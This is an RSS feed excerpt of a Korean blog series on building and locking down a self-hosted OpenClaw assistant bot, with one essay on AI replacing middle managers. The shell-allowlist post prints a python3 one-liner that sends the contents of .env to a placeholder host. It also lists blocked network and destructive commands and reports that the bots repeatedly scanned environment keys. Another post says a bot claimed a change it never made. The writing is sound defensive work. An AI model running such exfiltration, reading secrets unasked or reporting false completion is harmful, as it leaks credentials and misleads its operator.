&lt;td&gt;news.categories&lt;/td&gt;
&lt;td&gt;news_fetch.py&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;뉴스 건수&lt;/td&gt;
&lt;td&gt;news.count_per_category&lt;/td&gt;
&lt;td&gt;news_fetch.py&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;발송 채널&lt;/td&gt;
&lt;td&gt;send.channel&lt;/td&gt;
&lt;td&gt;send_briefing.py&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;브리핑 언어&lt;/td&gt;
&lt;td&gt;briefing.language&lt;/td&gt;
&lt;td&gt;briefing_llm.py&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;요약 상세도&lt;/td&gt;
&lt;td&gt;briefing.detail_level&lt;/td&gt;
&lt;td&gt;briefing_llm.py&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;날씨 포함/지역&lt;/td&gt;
&lt;td&gt;weather.enabled, weather.region&lt;/td&gt;
&lt;td&gt;run_briefing.sh &amp;rarr; weather_fetch.py&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-sourcepos=&quot;47:1-47:81;1541-1621&quot; data-ke-size=&quot;size16&quot;&gt;모든 스크립트에 공통 원칙: config가 없거나 해당 필드가 없으면 현재 하드코딩 값으로 폴백. config 파일이 없어도 기존처럼 돌아간다.&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-sourcepos=&quot;49:1-49:6;1623-1628&quot; data-ke-size=&quot;size26&quot;&gt;구현&lt;/h2&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-sourcepos=&quot;51:1-51:102;1630-1731&quot; data-ke-size=&quot;size16&quot;&gt;5개 스크립트를 일괄 수정했다. Terminal에서 noschg &amp;rarr; Claude Code에서 수정 &amp;rarr; py_compile/bash -n 검증 &amp;rarr; Terminal에서 schg 재적용.&lt;/p&gt;
&lt;div style=&quot;color: #000000; text-align: start;&quot; data-sourcepos=&quot;53:1-59:73;1733-2153&quot;&gt;스크립트변경 내용검증
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;run_briefing.sh&lt;/td&gt;
&lt;td&gt;mode_override 읽기 + once 소진 삭제 + weather 조건부 실행&lt;/td&gt;
&lt;td&gt;bash -n OK&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;market_fetch.py&lt;/td&gt;
&lt;td&gt;indices/watchlist를 config에서 읽기, 폴백 상수 추가&lt;/td&gt;
&lt;td&gt;py_compile OK&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;news_fetch.py&lt;/td&gt;
&lt;td&gt;categories/count 읽기, 건수를 인자로 주입&lt;/td&gt;
&lt;td&gt;py_compile OK&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;briefing_llm.py&lt;/td&gt;
&lt;td&gt;language/detail_level 읽기, LLM 프롬프트에 지침 블록 주입&lt;/td&gt;
&lt;td&gt;py_compile OK&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;send_briefing.py&lt;/td&gt;
&lt;td&gt;send.channel 읽기, 기존 .env 채널을 폴백으로&lt;/td&gt;
&lt;td&gt;py_compile OK&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-sourcepos=&quot;61:1-61:17;2155-2171&quot; data-ke-size=&quot;size26&quot;&gt;한나 SOUL 규칙 추가&lt;/h2&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-sourcepos=&quot;63:1-63:40;2173-2212&quot; data-ke-size=&quot;size16&quot;&gt;한나의 SOUL.md에 config 다리 규칙을 추가했다. 핵심 규칙:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-sourcepos=&quot;65:1-68:34;2214-2356&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-sourcepos=&quot;65:1-65:26;2214-2239&quot;&gt;변경 요청 시 유효값 확인, 무효하면 거부&lt;/li&gt;
&lt;li data-sourcepos=&quot;66:1-66:47;2240-2286&quot;&gt;mode_override만 &quot;영구적으로 바꿀까요, 이번 한번만 바꿀까요?&quot; 확인&lt;/li&gt;
&lt;li data-sourcepos=&quot;67:1-67:36;2287-2322&quot;&gt;config.json을 읽고 해당 필드만 수정, 나머지 보존&lt;/li&gt;
&lt;li data-sourcepos=&quot;68:1-68:34;2323-2356&quot;&gt;&quot;원래대로 돌려&quot; 요청 시 해당 필드 삭제 &amp;rarr; 폴백 복귀&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-sourcepos=&quot;70:1-70:21;2358-2378&quot; data-ke-size=&quot;size26&quot;&gt;슬랙 테스트 &amp;mdash; 3건 전부 성공&lt;/h2&gt;
&lt;div style=&quot;color: #000000; text-align: start;&quot; data-sourcepos=&quot;72:1-76:87;2380-2576&quot;&gt;시킨 말결과
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&quot;SCHD 종목 추가해&quot;&lt;/td&gt;
&lt;td&gt;watchlist에 SCHD 추가됨&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&quot;뉴스 5건으로 줄여&quot;&lt;/td&gt;
&lt;td&gt;count_per_category가 5로 변경됨&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&quot;일요일 모드를 monday로 바꿔&quot;&lt;/td&gt;
&lt;td&gt;once/permanent 확인 질문 &amp;rarr; &quot;이번 한번만&quot; 선택 &amp;rarr; mode_override once로 기록&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-sourcepos=&quot;78:1-78:35;2578-2612&quot; data-ke-size=&quot;size16&quot;&gt;cat config.json으로 세 건 전부 실측 확인 완료.&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-sourcepos=&quot;80:1-80:6;2614-2619&quot; data-ke-size=&quot;size26&quot;&gt;교훈&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-sourcepos=&quot;82:1-85:57;2621-2907&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-sourcepos=&quot;82:1-82:85;2621-2705&quot;&gt;봇의 파일 쓰기(Node fs)와 셸 명령(exec)은 완전히 별개 경로다. exec-approvals를 걸어도 봇의 파일 쓰기는 영향받지 않는다.&lt;/li&gt;
&lt;li data-sourcepos=&quot;83:1-83:75;2706-2780&quot;&gt;config에 없으면 하드코딩 폴백이라는 원칙이 무중단 배포를 가능하게 한다. 새 필드를 넣기 전에도 기존 브리핑이 그대로 돈다.&lt;/li&gt;
&lt;li data-sourcepos=&quot;84:1-84:70;2781-2850&quot;&gt;indices와 watchlist가 이미 분리돼 있었다. 설계서를 현실에 맞추는 게 현실을 설계서에 맞추는 것보다 낫다.&lt;/li&gt;
&lt;li data-sourcepos=&quot;85:1-85:57;2851-2907&quot;&gt;Slack 네이티브 exec 승인은 이 빌드에 구현돼 있지 않다. 없는 기능에 시간 쓰지 말 것.&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-sourcepos=&quot;87:1-87:67;2909-2975&quot; data-ke-size=&quot;size16&quot;&gt;&amp;rarr; V2 첫 기능 완성. 다음은 내일 아침 브리핑 관찰(config 반영 확인) 후, 한나 능력 강화 또는 날씨 추가.&lt;/p&gt;</description>
      <author>제스풀</author>
      <guid isPermaLink="true">https://zestfulpulse.tistory.com/66</guid>
      <comments>https://zestfulpulse.tistory.com/66#entry66comment</comments>
      <pubDate>Thu, 25 Jun 2026 19:18:10 +0900</pubDate>
    </item>
    <item>
      <title>맥미니 OpenClaw 비서 봇 만들기 (19) &amp;mdash; 봇의 셸 명령을 화이트리스트로 잠갔다</title>
      <link>https://zestfulpulse.tistory.com/65</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;schg로 로직 파일을 잠근 것이 1층이었다면, 이번엔 2층 &amp;mdash; 봇이 실행할 수 있는 셸 명령 자체를 허용 목록으로 제한했다. 핵심 목적은 .env 키 유출 경로 차단이다.&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-sourcepos=&quot;5:1-5:9;151-159&quot; data-ke-size=&quot;size26&quot;&gt;선행 상태&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-sourcepos=&quot;7:1-9:49;161-330&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-sourcepos=&quot;7:1-7:51;161-211&quot;&gt;schg(로직 불변화) 적용 완료, 6/24 무인 브리핑 정상 도착으로 3중 검증 통과&lt;/li&gt;
&lt;li data-sourcepos=&quot;8:1-8:70;212-281&quot;&gt;봇 두 대 모두 tools.profile=&quot;coding&quot;, sandbox.mode=&quot;off&quot; &amp;mdash; 맥미니 전체 무제한 권한&lt;/li&gt;
&lt;li data-sourcepos=&quot;9:1-9:49;282-330&quot;&gt;브리핑은 cron이 돌림(봇 exec 경로 무관) &amp;rarr; 봇 권한 잠가도 브리핑 무영향&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-sourcepos=&quot;11:1-11:29;332-360&quot; data-ke-size=&quot;size26&quot;&gt;점검 1~3: 화이트리스트 적용 전 사전 조사&lt;/h2&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-sourcepos=&quot;13:1-13:41;362-402&quot; data-ke-size=&quot;size16&quot;&gt;exec-approvals.json을 적용하기 전에 3개 점검을 돌렸다.&lt;/p&gt;
&lt;div style=&quot;color: #000000; text-align: start;&quot; data-sourcepos=&quot;15:1-19:44;404-654&quot;&gt;점검질문결과
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1 (핵심)&lt;/td&gt;
&lt;td&gt;봇의 web_search/web_fetch가 셸 curl을 쓰나?&lt;/td&gt;
&lt;td&gt;아니오. Node 내장 fetch(undici). 셸 안 거침&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;봇이 실제 쓴 exec 명령 종류는?&lt;/td&gt;
&lt;td&gt;cat/grep/head/echo/python3/ls/openclaw 등. curl/wget/nc 0건&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;봇이 curl/wget/nc를 셸로 쓴 적 있나?&lt;/td&gt;
&lt;td&gt;양쪽 0건&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-sourcepos=&quot;21:1-21:41;656-696&quot; data-ke-size=&quot;size16&quot;&gt;curl을 화이트리스트에서 빼도 봇 웹 기능이 안 깨진다는 게 확정됐다.&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-sourcepos=&quot;23:1-23:17;698-714&quot; data-ke-size=&quot;size26&quot;&gt;python3 구멍 발견&lt;/h2&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-sourcepos=&quot;25:1-25:64;716-779&quot; data-ke-size=&quot;size16&quot;&gt;점검 결과를 보고 초안대로 적용하려는데 문제가 보였다. python3를 허용하면 curl을 막은 의미가 없어진다.&lt;/p&gt;
&lt;div style=&quot;color: #000000; text-align: start;&quot; data-sourcepos=&quot;27:1-29:4;781-883&quot;&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;pre class=&quot;csp&quot; style=&quot;color: #14181f;&quot;&gt;&lt;code&gt;python3 -c &quot;import urllib.request,os; urllib.request.urlopen('http://x/'+open('.env').read())&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-sourcepos=&quot;31:1-31:67;885-951&quot; data-ke-size=&quot;size16&quot;&gt;python3는 curl/wget/nc를 전부 품고 있다. 허용 목록에 넣는 순간 .env 유출 경로가 그대로 열린다.&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-sourcepos=&quot;33:1-33:30;953-982&quot; data-ke-size=&quot;size26&quot;&gt;점검 4: python3 -c만 막을 수 있는가&lt;/h2&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-sourcepos=&quot;35:1-35:41;984-1024&quot; data-ke-size=&quot;size16&quot;&gt;OpenClaw dist를 끝까지 추적한 결과, 내장 기능으로 지원됐다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-sourcepos=&quot;37:1-39:82;1026-1207&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-sourcepos=&quot;37:1-37:48;1026-1073&quot;&gt;화이트리스트 매칭은 &quot;세그먼트별 argv&quot; 단위. 파이프&amp;middot;연쇄는 쪼개서 각각 검사&lt;/li&gt;
&lt;li data-sourcepos=&quot;38:1-38:52;1074-1125&quot;&gt;인터프리터 인라인 eval(python3 -c, node -e 등)은 별도 스펙으로 탐지&lt;/li&gt;
&lt;li data-sourcepos=&quot;39:1-39:82;1126-1207&quot;&gt;tools.exec.strictInlineEval: true&lt;span&gt;&amp;nbsp;&lt;/span&gt;플래그 하나로 python3 -c 차단, python3 script.py 통과&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-sourcepos=&quot;41:1-41:160;1209-1368&quot; data-ke-size=&quot;size16&quot;&gt;봇의 python3 사용을 실측하니 양쪽 100%가&lt;span&gt;&amp;nbsp;&lt;/span&gt;-c&lt;span&gt;&amp;nbsp;&lt;/span&gt;인라인이었다(한나 54건, 송태섭 112건). 전부 env 키 스캔 용도. 파일 실행 0건. 즉 strictInlineEval을 켜면 지금까지의 python3 사용 전부가 승인 대상이 되지만, 그게 정확히 막아야 할 경로다.&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-sourcepos=&quot;43:1-43:16;1370-1385&quot; data-ke-size=&quot;size26&quot;&gt;최종 화이트리스트 적용&lt;/h2&gt;
&lt;div style=&quot;color: #000000; text-align: start;&quot; data-sourcepos=&quot;45:1-74:4;1387-2253&quot;&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;json&lt;/div&gt;
&lt;div&gt;
&lt;pre class=&quot;json&quot; style=&quot;color: #14181f;&quot;&gt;&lt;code&gt;{
  &quot;version&quot;: 1,
  &quot;defaults&quot;: {
    &quot;security&quot;: &quot;allowlist&quot;,
    &quot;ask&quot;: &quot;on-miss&quot;,
    &quot;askFallback&quot;: &quot;deny&quot;
  },
  &quot;tools&quot;: {
    &quot;exec&quot;: { &quot;strictInlineEval&quot;: true }
  },
  &quot;agents&quot;: {
    &quot;main&quot;: { &quot;allowlist&quot;: [
      {&quot;pattern&quot;:&quot;cat&quot;},{&quot;pattern&quot;:&quot;ls&quot;},{&quot;pattern&quot;:&quot;which&quot;},
      {&quot;pattern&quot;:&quot;diff&quot;},{&quot;pattern&quot;:&quot;tail&quot;},{&quot;pattern&quot;:&quot;head&quot;},
      {&quot;pattern&quot;:&quot;grep&quot;},{&quot;pattern&quot;:&quot;echo&quot;},{&quot;pattern&quot;:&quot;env&quot;},
      {&quot;pattern&quot;:&quot;printenv&quot;},{&quot;pattern&quot;:&quot;python3&quot;},
      {&quot;pattern&quot;:&quot;notion&quot;},{&quot;pattern&quot;:&quot;ntn&quot;},
      {&quot;pattern&quot;:&quot;openclaw&quot;}
    ]},
    &quot;scout&quot;: { &quot;allowlist&quot;: [
      {&quot;pattern&quot;:&quot;cat&quot;},{&quot;pattern&quot;:&quot;ls&quot;},{&quot;pattern&quot;:&quot;which&quot;},
      {&quot;pattern&quot;:&quot;diff&quot;},{&quot;pattern&quot;:&quot;tail&quot;},{&quot;pattern&quot;:&quot;head&quot;},
      {&quot;pattern&quot;:&quot;grep&quot;},{&quot;pattern&quot;:&quot;echo&quot;},{&quot;pattern&quot;:&quot;env&quot;},
      {&quot;pattern&quot;:&quot;printenv&quot;},{&quot;pattern&quot;:&quot;python3&quot;},
      {&quot;pattern&quot;:&quot;openclaw&quot;}
    ]}
  }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;color: #000000; text-align: start;&quot; data-sourcepos=&quot;76:1-78:166;2255-2448&quot;&gt;자동 통과자동 차단
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;cat, ls, grep, head, tail, echo, diff, which, env, printenv, python3(파일 실행만), openclaw, notion/ntn&lt;/td&gt;
&lt;td&gt;curl, wget, nc, rm, crontab, chmod, chflags, python3 -c(인라인)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-sourcepos=&quot;80:1-80:75;2450-2524&quot; data-ke-size=&quot;size16&quot;&gt;적용:&lt;span&gt;&amp;nbsp;&lt;/span&gt;~/.openclaw/exec-approvals.json&lt;span&gt;&amp;nbsp;&lt;/span&gt;생성. 재시작 불필요(매 exec마다 읽음). 롤백은 파일 삭제.&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-sourcepos=&quot;82:1-82:21;2526-2546&quot; data-ke-size=&quot;size26&quot;&gt;승인자 설정과 슬랙 승인 미작동&lt;/h2&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-sourcepos=&quot;84:1-84:100;2548-2647&quot; data-ke-size=&quot;size16&quot;&gt;allowlist 밖 명령은&lt;span&gt;&amp;nbsp;&lt;/span&gt;ask: &quot;on-miss&quot;로 승인 요청을 보내게 했다. 이를 위해 openclaw.json에 이사장 슬랙 유저ID를 approvers로 등록했다.&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-sourcepos=&quot;86:1-86:100;2649-2748&quot; data-ke-size=&quot;size16&quot;&gt;승인자 등록 과정에서 ID 확인이 중요했다. 로그에서 발견된 ID(U0BC2U5THM2)가 이사장이 아니라 송태섭(봇)이었다. 실제 이사장 ID는 슬랙에서 직접 확인해 등록했다.&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-sourcepos=&quot;88:1-88:88;2750-2837&quot; data-ke-size=&quot;size16&quot;&gt;결과적으로 슬랙 네이티브 승인 클라이언트가 이 환경에서 작동하지 않았다. 게이트웨이 재시작까지 시도했으나 동일. 승인 버튼이 슬랙 DM으로 발송되지 않는다.&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-sourcepos=&quot;90:1-90:12;2839-2850&quot; data-ke-size=&quot;size26&quot;&gt;현재 보호 상태&lt;/h2&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-sourcepos=&quot;92:1-92:27;2852-2878&quot; data-ke-size=&quot;size16&quot;&gt;슬랙 승인은 안 되지만, 핵심 목적은 달성됐다.&lt;/p&gt;
&lt;div style=&quot;color: #000000; text-align: start;&quot; data-sourcepos=&quot;94:1-100:42;2880-3118&quot;&gt;보호 계층방식상태
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;로직 불변&lt;/td&gt;
&lt;td&gt;schg (5개 파일)&lt;/td&gt;
&lt;td&gt;작동 중&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;키 유출 차단&lt;/td&gt;
&lt;td&gt;curl/wget/nc 거부 + strictInlineEval&lt;/td&gt;
&lt;td&gt;작동 중&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;파괴 명령 차단&lt;/td&gt;
&lt;td&gt;rm/crontab/chmod 등 거부&lt;/td&gt;
&lt;td&gt;작동 중&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;일상 명령&lt;/td&gt;
&lt;td&gt;허용 목록 자동 통과&lt;/td&gt;
&lt;td&gt;작동 중&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;슬랙 승인&lt;/td&gt;
&lt;td&gt;approvers 등록됨, 클라이언트 미작동&lt;/td&gt;
&lt;td&gt;보류&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-sourcepos=&quot;102:1-102:59;3120-3178&quot; data-ke-size=&quot;size16&quot;&gt;allowlist 밖은 전부 deny. 봇이 진짜 필요한 명령은 Terminal에서 직접 실행하면 된다.&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-sourcepos=&quot;104:1-104:6;3180-3185&quot; data-ke-size=&quot;size26&quot;&gt;교훈&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-sourcepos=&quot;106:1-109:73;3187-3456&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-sourcepos=&quot;106:1-106:92;3187-3278&quot;&gt;python3를 허용하면 curl을 막은 게 무의미해진다. 인터프리터는 네트워크 도구를 전부 품고 있다. strictInlineEval이 이걸 정확히 해결한다.&lt;/li&gt;
&lt;li data-sourcepos=&quot;107:1-107:51;3279-3329&quot;&gt;로그에서 찾은 ID를 검증 없이 넣지 말 것. 봇 ID와 사람 ID를 혼동할 수 있다.&lt;/li&gt;
&lt;li data-sourcepos=&quot;108:1-108:54;3330-3383&quot;&gt;핫리로드는 설정값만 갱신한다. 부팅 시 안 만들어진 승인 클라이언트를 새로 만들지는 않는다.&lt;/li&gt;
&lt;li data-sourcepos=&quot;109:1-109:73;3384-3456&quot;&gt;안전장치의 목적을 정확히 기억할 것. &quot;슬랙 승인 버튼&quot;이 목적이 아니라 &quot;키 유출 차단&quot;이 목적이다. 후자는 이미 달성됐다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-sourcepos=&quot;111:1-111:55;3458-3512&quot; data-ke-size=&quot;size16&quot;&gt;&amp;rarr; exec-approvals 적용 완료. 다음은 V2 첫 기능(mode_override) 착수.&lt;/p&gt;</description>
      <category>맥미니 OpenClaw 비서 봇 만들기</category>
      <author>제스풀</author>
      <guid isPermaLink="true">https://zestfulpulse.tistory.com/65</guid>
      <comments>https://zestfulpulse.tistory.com/65#entry65comment</comments>
      <pubDate>Thu, 25 Jun 2026 19:16:34 +0900</pubDate>
    </item>
    <item>
      <title>중간관리자는 회사의 환승역이었습니다</title>
      <link>https://zestfulpulse.tistory.com/64</link>
      <description>&lt;p&gt;회의실 풍경 하나를 떠올려 보겠습니다. 부장님이 노트북을 열고 챗GPT에 주간보고를 붙여 넣습니다. 요약해 줘. 엔터. 커피 한 모금 마실 새도 없이 깔끔한 보고서가 떠오릅니다. 5분이 걸렸습니다. 그런데 말입니다, 그 5분짜리 일이 원래는 그 부서가 일주일 내내 매달리던 일이었습니다.&lt;/p&gt;
&lt;p&gt;요즘 이런 제목이 넘칩니다. AI 시대, 중간관리자가 살아남는 법. 리스킬링을 해라, AI를 적이 아니라 동료로 삼아라. 듣고 있으면 마음이 한결 편해집니다. 그런데 여러분, 바로 그 편안함이 함정입니다. 회사가 줄이려는 건 도구를 못 다루는 사람이 아닙니다. 도구가 대신할 수 있는 그 자리입니다. 그리고 중간관리라는 일의 절반은 정확히 그런 자리죠. 위에서 받아 아래로 내리고, 아래에서 받아 위로 올리고.&lt;/p&gt;
&lt;p&gt;중간관리자는 오랫동안 회사의 환승역이었습니다. 모든 정보가 이 역을 한 번 거쳐야 위아래가 만났죠. 그래서 이 역은 늘 붐볐습니다. 그리고 사람은 붐비는 걸 중요한 걸로 착각하기 쉽습니다. 그런데 직통 노선이 뚫리면 어떻게 될까요? 환승역부터 한산해집니다. 사람들은 더 이상 갈아타지 않습니다. 그냥 지나갑니다.&lt;/p&gt;
&lt;p&gt;여기서 두 가지 목소리가 부딪힙니다.&lt;/p&gt;
&lt;p&gt;한쪽은 말합니다. 중간관리는 사라진다고. 보고를 요약하고 일정을 맞추고 메일을 정리하는 일, 그건 이제 기계가 더 빠르고 불평도 없다고. 맞는 말입니다.&lt;/p&gt;
&lt;p&gt;다른 쪽은 말합니다. 그래서 중간관리가 오히려 더 중요해진다고. 기계가 답을 쏟아낼수록, 그중 무엇이 그럴듯한 헛소리인지 가려낼 사람이 필요하다고. 이 말도 맞습니다.&lt;/p&gt;
&lt;p&gt;그런데 여기서 둘 다 맞다, 하고 끝내면 그건 그냥 도망입니다. 차이는 분명하거든요. 옮기는 일을 하던 관리자는 잘리고, 가려내는 일을 하던 관리자는 남습니다. 똑같은 명함을 들고도 운명이 갈립니다. 진짜 문제는 따로 있습니다. 우리 대부분이 지난 십수 년 동안 첫 번째 일로 월급을 받아왔다는 겁니다.&lt;/p&gt;
&lt;p&gt;오해는 마십시오. 옮기는 일이 만만했다는 얘기가 아닙니다. 그건 그것대로 고단했습니다. 다만 고단한 것과 대체 불가능한 것은 다른 말입니다. 야근을 아무리 쌓아도 그게 내 자리를 지켜 주지는 않습니다. 회사는 우리의 노고를 기억하는 기관이 아니니까요.&lt;/p&gt;
&lt;p&gt;그래서 저는, 리스킬링을 하세요, 라는 결론은 내지 않겠습니다. 그건 너무 쉽고, 쉬워서 사실 아무 말도 아니니까요.&lt;/p&gt;
&lt;p&gt;대신 질문 하나만 남기고 가겠습니다. 지난 일주일 동안 여러분이 한 일 중에서, 기계가 못 했을 일은 정확히 몇 개였습니까? 한번 손가락을 꼽아 보세요. 꼽을 게 많으면 다행입니다. 그런데 손가락이 남는다면, 그건 회사가 이미 알고 있는 사실을 나만 모르고 있었다는 뜻일지도 모릅니다.&lt;/p&gt;</description>
      <category>일상</category>
      <author>제스풀</author>
      <guid isPermaLink="true">https://zestfulpulse.tistory.com/64</guid>
      <comments>https://zestfulpulse.tistory.com/64#entry64comment</comments>
      <pubDate>Wed, 24 Jun 2026 12:12:17 +0900</pubDate>
    </item>
    <item>
      <title>맥미니 OpenClaw 비서 봇 만들기 (18) &amp;mdash; 봇에게 권한을 주기 전에, 벨트부터 맸다</title>
      <link>https://zestfulpulse.tistory.com/63</link>
      <description>&lt;h1 style=&quot;color: #000000; text-align: start;&quot; data-sourcepos=&quot;1:1-1:54;0-53&quot;&gt;&amp;nbsp;봇에게 권한을 주기 전에, 벨트부터 맸다&lt;/h1&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-sourcepos=&quot;3:1-3:132;55-186&quot; data-ke-size=&quot;size16&quot;&gt;슬랙에서 비서한테 말로 시키면 시스템이 실제로 바뀌는 것 &amp;mdash; 이게 다음 목표(V2)다. 그런데 그걸 만들려고 봇의 권한을 들여다봤더니, 봇이 이미 맥미니 전체에 무제한 권한을 갖고 있었다. 그래서 기능을 만들기 전에 안전벨트부터 맸다.&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-sourcepos=&quot;5:1-5:29;188-216&quot; data-ke-size=&quot;size26&quot;&gt;봇은 못 바꾸는 게 아니라, 안 막아둔 거였다&lt;/h2&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-sourcepos=&quot;7:1-7:99;218-316&quot; data-ke-size=&quot;size16&quot;&gt;지난번에 슬랙에서 &quot;일요일 브리핑을 주간 요약으로 바꿔줘&quot;라고 시켰을 때, 봇은 &quot;바꿨다&quot;고 말만 하고 실제 시스템은 그대로였다. 그때는 &quot;봇이 시스템을 못 바꾸는구나&quot; 했다.&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-sourcepos=&quot;9:1-9:202;318-519&quot; data-ke-size=&quot;size16&quot;&gt;이번에 봇의 설정을 직접 열어보니 &amp;mdash; 못 바꾸는 게 아니었다. 두 봇 다 &quot;coding&quot; 프로파일이라, 파일 쓰기와 명령 실행 능력이 다 켜져 있었다. 게다가 샌드박스도 꺼져 있고 실행 승인도 없어서, 봇이 마음만 먹으면 디스크 어디든 읽고 쓰고 지울 수 있는 상태였다. 지난번에 &quot;못 바꾼&quot; 건 능력이 없어서가 아니라, 그 능력을 쓸 설계가 없었을 뿐이었다.&lt;/p&gt;
